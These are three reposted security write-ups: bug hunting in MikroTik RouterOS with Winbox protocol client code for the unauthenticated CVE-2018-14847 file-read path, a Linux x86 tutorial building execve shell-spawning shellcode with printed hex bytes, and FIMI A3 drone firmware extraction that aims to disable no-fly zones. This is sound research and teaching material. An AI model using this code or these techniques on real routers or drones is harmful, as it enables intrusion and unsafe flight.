Make It Rain with MikroTik

Original text by Jacob Baines

Can you hear me in the… front?

I came into work to find an unusually high number of private Slack messages. They all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon

Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it was a good time to finally put some of my RouterOS bug hunting into writing. Really, any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing this write up I found a new unauthenticated vulnerability. You could too.


Laying the Groundwork

Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still have work to do. Even if you’re just planning to download a simple fuzzer and pray for a pay day, you’ll still need to read this first section.

Acquiring Software

You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS ISOs available on their website. The ISO can be used to create a virtual host with VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: mikrotik-6.42.11.iso
Extracting  advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/boot.cat
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s a tool that’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------
0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
albinolobster@ubuntu:~/6.42.11$

Hack the Box

When looking for vulnerabilities it’s helpful to have access to the target’s filesystem. It’s also nice to be able to run tools, like GDB, locally. However, the shell that RouterOS offers isn’t a normal unix shell. It’s just a command line interface for RouterOS commands.

Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs you can create the file and insert any commands you want. The exact process takes too many words to explain. Instead I made a video. The screen recording is five minutes long and it goes from VM installation all the way through root telnet access.

With root telnet access you have full control of the VM. You can upload more tooling, attach to processes, watch logs, etc. You’re now ready to explore the router’s attack surface.


Is Anyone Listening?

You can quickly determine the network reachable attack surface thanks to the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an administrative tool that runs on Windows. It shares all the same functionality as the Telnet, SSH, and HTTP interfaces.

Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you ask?

The Real Attack Surface

The ps output makes it appear as if there are only a few binaries to bug hunt in. But nothing could be further from the truth. Both the HTTP server and Winbox speak a custom protocol that I’ll refer to as WinboxMessage (the actual code calls it nv::message). The protocol specifies which binary a message should be routed to. In truth, with all packages installed, there are about 90 different network reachable binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that the WinboxMessage protocol uses to determine where a message should be handled.


Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton programthat you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
return EXIT_FAILURE;
}
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(17);

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looperconstructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown. You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler. It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

  1. Opens a file in /var/pckg/ for writing.
  2. Writes to the open file.
  3. Opens a file in /var/pckg/ for reading.
  4. Reads the open file.
  5. Cancels a file transfer.
  6. Creates a directory in /var/pckg/.
  7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_commandcode. You’ll also want to insert the add_string. I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open

msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.

Conclusion

I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!

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Linux Buffer Overflows x86 – Part 3 (Shellcoding)

( Original text by SubZero0x9 )

Hello guys, this is the part 3 of the Linux buffer Overflows x86. In this part we will learn what is shellcode, why do we use it and how do we use it. In the previous two blogs, we learnt about process memory, stack region, stack operations, stack registers, attempting buffer overflow, overwriting buffer, modifying return address, manipulating program flow and program execution.
If you have not read the first two blogs, here are the links Part1 and Part2.

The main purpose behind exploiting Buffer Overflow is to spawn a reverse shell or execute arbitrary commands at least. Even if we find a vulnerable binary with stack overflow and are able to overwrite the return address, we still have to tell the binary to execute commands on our behalf. But how do we do that? Suppose we want to spawn a shell of a vulnerable binary, but the code to spawn a shell is not present in the binary. So, even if we control the flow of the binary we really can’t modify the return address to a memory address which can execute the code which spawns a shell. We saw in the previous two blogs, we were able to overwrite the buffer with any arbitrary data. This means, when the program is loaded into memory all the operations are carried out on the stack. Any user input accepted will be stored on the stack and if the program accepts malicious input (remember insufficient bound checking) it also gets stored on the stack. So instead of placing random data, if we place the code which we want to execute on to the stack it will give us the results.
Simple Right? NO !!

We can’t simply go ahead and paste the code of spawning a shell onto the buffer, because when the program is running it is loaded into the system memory and it communicates with the processor for carrying out the operations through syscalls which is understood by kernel who actually communicates with the processor to get things done(well this is a simplified statement, the actual process is too complex). Now the processor doesn’t understand C,C++, JAVA, Python, etc. it only understands the machine code which it can directly execute. And We, human beings can’t understand machine code so we write programs in high level languages. Also, machine code is mostly regarded as the lowest level representation of compiled code. Another main reason we use machine code is because of the size. The space available in the stack for operations are very limited and machines codes are really compact in that sense.

SHELLCODE

So till now it is pretty clear that the code or payload used to exploit the buffer overflow vulnerability to execute arbitrary commands is called Shellcode. Its name is derived from the fact that it was initially used to spawn a root shell. Shellcode is basically a set of machine code or set of instructions injected into the buffer of the vulnerable program. The vulnerable program then executes the shellcode.

Shellcodes are machine codes. Basically, we write a set of instructions in a high level language or assembly language then convert into hexadecimal values (these values are just a bunch of opcodes and operands understood by the processor).

We cannot run shellcode directly, instead it needs a some sort of carrier (buffer, file, process, environment variables, etc) which will be read or executed by the vulnerable software. There are many shellcode execution strategies which are used depending on the exploitability and constraints of the vulnerable software.

Shellcodes are written mainly to force the program to do actions on the behalf of the attacker. The attacker can write a specific function which will do the intended action once loaded into the same address space of the vulnerable software. Every action (well almost) in an operating system is done by calling a syscall or system calls. The shellcode will also contain a syscall for a specific action which the attacker needs to perform. Syscalls are the most important thing in the shellcode as you can force the program to perform action just by triggering a syscall.

SYSCALLS

According to wikipedia, “In computing, a system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. ”

Linux’s security mechanism (the ring model) is divided into two spaces : User Space and Kernel space. Eevery process running in the userspace has its own virtual address space and cannot access any other processes address space until explicitly allowed. When the process in the userspace wants to access the kernel space to execute some operations, it cannot directly access it. No processes in the userspace can access the kernel space.

When an userspace process tries to access the kernel, an exception is raised and prevents the process from accessing the kernel space. The userspace processes uses the syscalls to communicate with the kernel processes to carry out the operations.

Syscalls are a bunch of functions which gives a userland process direct access to the kernel space to carryout low level functions. In simpler words, Syscalls are an interface between user mode and kernel mode.

In Linux, syscalls are generated using the software interrupt instruction, int 0x80. So, when a process in the user mode executes the int 0x80 instruction, the flow is transferred from the user mode to kernel mode by the CPU and the syscall is executed. Other than syscalls, there are standard library functions like the libc (which is extensively used in the linux OS). These standard library functions also call the syscall in some way or another (not everytime though). But we wont look into that as we are not going to use library functions in our shellcode. Also, using syscall is much nicer because there is no linking involved with any library as needed in other programming languages.

Note: The software interrupt int 0x80 was proving to be slower on the Pentium processors, so Linus introduced two new alternative namely SYSENTER/SYSEXIT instructions which were provided by all Pentium II+ processors. We will use the int 0x80 instruction in our shellcode however.

HOW TO USE SYSCALLS

When a process is in the userspace and the syscall instruction is executed, the interrupt handler i.e the software interrupt int 0x80 tells the CPU to change the execution from user mode to kernel mode. Now the system call handler is notified to call the routine which the userland process wanted. All the syscalls are stored in a syscall table, it is a big array which points to the memory address of the syscall routines. When the syscall is called, the syscall number is loaded into EAX register, this is how the system call handler comes to know which system call routine to execute. Keep in mind that the execution done here is carried out on the Kernel space stack and after the execution the control is given back to the userspace process and the remaining operation is carried out on userspace stack.

Here is the list of all the syscalls (x86):- http://syscalls.kernelgrok.com/

Each syscall is assigned a syscall number (an integer value) for basic naming convention. Every syscall has arguments which are necessary to execute the related operations. The syscall number is stored in the EAX register and the arguments are stored in the EBX , ECX , EDX , ESI and EDI respectively.

All the linux syscalls are well documented with instructions of how to implement them in your program. Usually we can use the syscall in normal C program or we can go ahead and do the same in an assembly language. Since we are writing our own shellcode, we have to dip our hands in the world of assembly language.

So what we will do is, write a C program with the syscall, disassemble the program, see the assembly instructions, write the assembly equivalent, make the necessary changes and extract the shellcode. Now we could have done this in assembly language directly but for getting the whole idea of how a program works from the high level to low level I am choosing this path.

Basic Assembly knowledge is needed for this, if you are new to Assembly then you can read the Assembly and Shellcoding blog series by my friend SLAER.

SPAWNING A SHELL

Lets write a shellcode for spawning a shell. We will use execve syscall for this operation.

First, lets take a look at the man page for execve..

The whole function looks like this:-

Here, filename is the command or program which we want to execute, in our case “/bin/sh”. Argv is an array of the argument string passed to the new program and it should contain the filename in its first index. Envp array can be NULL. Also the argvand envp array must end with a NULL.

We will initiate a char array spawnshell[2], with spawnshell[0]= “/bin/sh” and the next index being NULL i.e spawnshell[1]=NULL. We declared the last index as NULL because argv must end with a NULL byte.

So, execve will look like:

The C code for spawning a shell :

Compiling the program:

(We used static flag while compiling to prevent the dynamic linking as we want to disassemble the execve function.)

Running the executable we get a shell.

Lets disassemble the main function in our favorite GDB:

Here, the execve is called from the libc library, because we wrote a C program and used stdlib. Before calling the execve() function, the arguments required by it are stored on the stack. We will see the important instructions in detail:

sub $0x14, %esp -> Subtracting 14 from ESP, this is how the space is allocated on the stack.

1) movl $0x80bb868,-0x14(%ebp) -> Moving the memory address 0x80bb868 which contains “/bin/sh” on the stack. (You can see the value by using the command x/1s 0x80bb868 in GDB)

2) movl $0x0,-0x10(%ebp) -> Moving 0 on the stack at -0x10(%ebp), means the NULL byte after the “/bin/sh”.

3) mov -0x14(%ebp),%eax -> EAX now has the “/bin/sh”.

4) push $0x0 -> 0 is pushed onto the stack.

5) lea -0x14(%ebp),%edx -> The effective address of -0x14(%ebp) is loaded into EDX i.e EDX is pointing to the pointer of “/bin/sh”.

6) push %edx -> Pushing the value of EDX on the stack.

7) push %eax -> Pushing the value of EAX on the stack.

8)call 0x806c990 <execve> -> calling the function execve.

So what does this mean? Every numbered points are explained below in the same manner:-

1) filename = “/bin/sh”

2) filename = “/bin/sh” followed by NULL

3) argv[0]= “/bin/sh”

4) 0 is pushed for the envp

5) pointing to the pointer of “/bin/sh” i.e argv

6) EDX=argv

7) EAX= filename

8) execve function is called

Now the execve function according to the arguments pushed onto the stack will look like:-

execve(EAX, EDX,0)

So, now we know what to do with the assembly instructions. Lets write an assembly program for execve syscall.

Lets look at the execve syscall w.r.t assembly instructions:

Assembly program:-

Assemble this program:

Link this program:

Running the program we can see we get a shell.

Now, we want to extract the opcodes from the executable to form our shellcode. We will use objdump utility to display the object file.

Here, we can see in the right side, the assembly instructions that we wrote and in the left side opcodes for those instructions. Now we just have to copy these opcodes and execute it from C program which will act as a carrier for our shellcode.

Our Shellcode now is:

“\xc7\x05\xa8\x90\x04\x08\xa0\x90\x04\x08\xb8\x0b\x00\x00\x00\xbb\xa0\x90\x04\x08\xb9\xa8\x90\x04\x08\xba\xac\x90\x04\x08\xcd\x80\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80”

As we already know we cannot execute shellcode directly, we will be needing a program to execute it for us. Shellcode is always loaded into the virtual address space of the target process which we want to exploit. Shellcode cant have its own process space as it cant be executed directly and it doesn’t makes sense to load the shellcode in any other address space other than the vulnerable software.

Just for demonstration we will load the shellcode in the address space of our own program and see whether it gets executed or not.

We will write a small C program which will execute our shellcode:

So, whats the program doing?

First, we are defining a char array shellcode with our actual shellcode in it. Then, in the main() function we are defining a variable ret which is an int pointer.

Then we are making the ret variable point to an address which is 8 bytes (2 int value)from its own address.

Remember this will happen on the stack, and the addresses on the stack moves from higher order memory to the lower order memory. So, by adding 8 bytes to the address of ret variable we are actually making it points towards the main()function.

Then we are assigning the address of our shellcode array to the address of the retvariable which is pointing to the address of main. So before the program ends it will execute our shellcode.

Lets compile the program:

Running the program we get Segmentation fault (core dumped)

So, we can see that our shellcode didn’t work. Lets take a look at what is wrong with our shellcode.

We can see there are a bunch of NULL bytes in the opcodes i.e ‘00’. Now one important thing, mostly the shellcode is loaded into the user input buffer and mostly it will be a char buffer or string buffer. If a NULL value occurs in the string, it terminates the string right there and doesn’t accept anything after the NULL termination. So our shellcode containing NULL values wont work. So we have to find a way to eliminate the NULL values.

Also, we are using hardcoded addresses in our shellcode. As we can see the mov instructions, all those addresses are machine specific hardcoded addresses. It is highly likely that it might not work in different versions of linux. So we have to deal with that also. One thing we can do is somehow load the starting address of our shellcode in the memory and using that reference we can make the necessary operations relative to this address. Now this is called as relative addressing. We will see this later in more detail.

Now the important part is to modify the assembly code with the two requirements mentioned above, getting rid of the NULL values and implementing relative addressing for avoiding hardcoded addresses .

REFINING THE SHELLCODE

So lets start…

From the above assembly program we know what instructions are needed to create our shellcode. In the above program we defined an ASCII string with “/bin/sh” and assigned the address of the string to another variable which will act as the pointer. But in the shellcode we will get the memory address of that variable and it will not work around different linux machines as the address may differ.

So in the manpages of the execve syscall it is clearly stated that, “The argv and envp arrays must each include a null pointer at the end of the array.” In our case envparray is already NULL, but the filename i.e the first index of argv pointer should also end with a NULL value. In the above assembly program we were defining separate variables for each argument of the syscall, but now we cant do that.

The execve syscall has three char pointer arguments. For the first argument we will have “/bin/shA”. We are appending A because we directly cant add a NULL value as it will hamper our shellcode, instead we will assign the index of A, a null value from the register. For the next char argument we will append four B’s as char is 4 bytes. Now the second argument is a pointer to the start of the address of the filename. Here we will assign the index of the starting B with the address of the starting memory address of filename. The third argument is the envp array which is a NULL pointer and we will append it with four C’s and then we will assign the index of the first C with a null value.

The representation of execve syscall arguments w.r.t registers will be like:

int execve(EBX, ECX, EDX); and the execve syscall number 11 will be loaded in the EAX register.

Below is the representation of the string which we will load along with the index in hex.

Lets take a look into the final assembly program for our shellcode.

Refined assembly program for Shellcode:

Now I will explain in detail what we have done.

-> We are starting our shellcode with a jmp instruction. jmp instruction will make an unconditional jump to the specified memory location. It will skip the actual shellcode and directly jump to the ShellcodeCall memory address.

-> In there the call instruction is executed which will directly point our Shellcode. Now what happens here is the most important thing. When the call instruction is executed the next instruction or memory address which contains the string “/bin/shABBBBCCCC” is pushed onto the top of the stack as the ret address. This is how we implement relative addressing.

->Now the pop instruction is executed. So the pop instruction will load the retaddress which has the string in the ESI register. The ESI register has the memory location which points to “/bin/shABBBBCCCC”. ESI register will be the reference point for all the operation which we will perform so the issue of hardcoded addresses will be resolved.

->Next we are XORing the EAX register to avoid the NULL bytes. We are basically resetting the EAX register without assigning a NULL value.

->Then we are loading the value 0 from the AL register (As we all know the ALregister is the lower part of the EAX address which is already 0 after the XORing) to the 7th index of the ESI register which will replace the A in our string with a null value.

-> Then we are loading the value of ESI i.e the start address of our string into the 8th index of ESI register replacing the B’s in our string.

->Then we are loading 0 from the AL register into the 12th index of our ESI register i.e replacing the C’s with 0’s.

-> Then we are loading the arguments of execve into the EBXECX and EDXregisters.

->Then we are loading the execve syscall number 11 into AL register again avoiding the NULL bytes because the higher part of the EAX register holds 0.

-> Lastly we make a software interrupt which will execute the syscall.

Now lets take a look at the opcodes after assembling and linking the assembly program.

As we can see there are no null bytes and the hardcoded addresses are also solved.

Now lets copy our shellcode into the C program which we wrote earlier to check whether our shellcode executes or not.

Lets run the compiled C program binary and see if it works.

VOILA !!!

We successfully spawned a shell with our own shellcode.

This was a very basic example of writing a working shellcode. Now there are many situations where you want take a reverse shell over the network and you have to write a shellcode for that. That would be a really challenging task to write a shellcode of that manner. This blog post only introduced what a shellcode looks like and how much pain you have to take to write a simple working shellcode.

In the next part, we will exploit a vulnerable binary and execute shellcode on that.

If you have any doubts or opinions, kindly express yourselves in the comment section. Thanks !!!

Brief reverse engineering work on FIMI A3

( Original text by Konrad Iturbe )

This is the start of a new series on reverse engineering consumer products, mainly to enhance their use but also to expose data leaks and vulnerabilities.

Something caught my eye last week. Xiaomi-backed FIMI, a Shenzhen company, released a drone. I tend to avoid most cheap drones since they tend to suck (bad quality camera, bad UX…) but this one is different.

This drone has a “DIY” port. This is an UART/PWM/GPIO port with what I assume are two ports for power. FIMI showcases how the user can attach a fireworks igniter or LEDs, but my mind went instantly to this DEF CON presentation from this year. The project is about a drone which is difficult to intercept but the author of the presentation also shows some offensive uses of drones. This drone can theoretically have a WiFi jammer or a promiscuous WiFi packet sniffer which can be activated from the ground. Possibilities are endless when you have this sort of port. The A3 also does not need a smartphone for operation, it includes a remote controller with an LCD panel. Having a smartphone controlling the drone opens a new vector for attackers (wifi network between the remote controller and cellphone can be brute forced, phone can have malware…). DJI does not yet have a all-in-one remote controller but Xiaomi has outsmarted them. Chinese innovation at its finest.

DIY port. Time to attach a RPI Zero with a pinneapple.
Some payloads that can be attached to drones. Source: David Melendez’s DEF CON talk PDF

On the camera side for those interested this drone is rocking the AMBA A12 chipset with a 1440p Sony CMOS sensor. Takes 8MP stills and can record 1080p video at 30FPS with a bitrate of 60 MB/s. The gimbal is 2 axis, just like the DJI Spark but at ~$250 this drone is a worthy competitor of the DJI Spark. If it only shot 4K video and had 3 axis gimbal, but we can’t have everything in life.


Part 1: The firmware(s):

FIMI makes the firmware available for downloading to anyone here.

The firmware is split into 3: The AMBA A12 firmware, the Drone Cortex A7 firmware and the remote controller firmware.

wget https://www.fimi.com/media/Productattachments//f/2/f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip -P drone_fw/

wget https://www.fimi.com/media/Productattachments//f/i/firmware.zip -P cam_fw/

wget https://www.fimi.com/media/Productattachments//r/2/r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip -P remotecontrol_fw/

The firmwares are highly compressed. The filesize of each one is:

3.8M firmware.zip

488K f21a-a-v010sp12rtm181027r16987-cn-rtm_u-release-741c119eb4d25878e21045e3f3c485d4.zip

728K r21a-a-v010sp13rc181024r16900-cn-b_250k-release-ota-97b6c6c59241976086fabdc41472150c.zip

First step is to decompress each firmware zip file. After the decompression is done the remote firmware yields a 1.2M BFU file, the drone firmware is now a 492K BIN file and the camera firmware, which contains code relevant to the AMBA ISP yields 3 files: a 3.8M firmware.bin and two 0-byte files: rollback.txt and update.txt. Looking deeper at the firmware.bin file using binwalk 3 files are compressed: amba_ssp_svc.bin, dsp.bin.gz, rom.bin.gz

amba_ssp_svc.bin is a gz file, so the name should be amba_ssp_svc.bin.gz

Using extract_fw.sh we can get the gz files and their contents:

firmware.bin SHA512: 1cba74305d0491b957f1805c84e9b1cf5674002fc4f0de26905a16fb40303376187f1c35085b7455bff5c4de23cf8faa9479e4f78fd50dbf69947deb27f5d687

From here I used dd to extract the files. The “skip” flag is the location and the count is the next location — location.

dd if=[firmware.bin] of=out/amba_ssp_svc.bin.gz bs=1 skip=508 count=1812019
dd if=[firmware.bin] of=out/dsp.bin.gz bs=1 skip=1812527 count=1988127
dd if=[firmware.bin] of=out/rom.bin.gz bs=1 skip=3800654 count=143664

NOTE: All the files needed are on my github repository.

Now there is something to work with. Extrac each file with gunzip and we end up with:

4.3M amba_ssp_svc.bin
4.9M dsp.bin
2.3M rom.bin

Part 2: Ambarella chipset:

This is as far as we get. The 4.3M file is the AMBA chipset firmware. From here we can use some of the methods I used in reverse engineering GoPro camera firmwares:

strings amba_ssp_svc.bin | grep “c:\\\\”

The aim of this reverse engineering work is to:

  • See if we can flash our own images onto the drone
  • See what kind of resolutions and frame rates are available
  • See if we can run custom commands or get a telnet/RTOS session
  • Disable NFZ (No Fly Zones) and enable FCC (US 5GHz mode) in Europe
  • Can we root the drone?

It appears we can flash images from the SD card to the drone:

C:\version.txt
C:\update.txt
C:\rollback.txt
C:\firmware.bin

As per the resolutions, see cam_fw/out/README.md in the GitHub repository.

The AMBA A12 chipset accepts some commands, including what appears to be RTOS USB Shell.

The drone firmware and controller firmware don’t have such ways of getting into. The drone firmware is a bin file with no sections and the remote controller firmware is a bfu file.

It’d be interesting if the drone can fly on offline waypoints. Attaching a WiFi sniffer just got a whole lot easier.

I ordered this drone but it won’t arrive soon since it’s a pre-order.

Stay tuned for part 2!

GitHub repository: https://github.com/KonradIT/fimi_a3